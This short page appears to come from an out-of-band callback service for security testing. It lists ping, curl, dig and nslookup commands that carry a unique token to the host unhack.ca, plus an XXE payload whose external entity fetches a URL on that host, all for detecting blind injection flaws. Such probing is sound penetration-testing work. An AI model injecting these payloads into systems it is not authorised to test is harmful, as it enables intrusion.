$ ping -c1 -p 008508c36a565eedfc3ffdedcacc0200 unhack.ca
 
$ curl http://unhack.ca/p/8508c36a565eedfc3ffdedcacc02
 
$ dig 8508c36a565eedfc3ffdedcacc02 @unhack.ca
 
$ dig 8508c36a565eedfc3ffdedcacc02.ns.unhack.ca
 
C:\> nslookup 8508c36a565eedfc3ffdedcacc02 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8508c36a565eedfc3ffdedcacc02">]>
    <foo>&xxe;</foo>
Waiting for ping...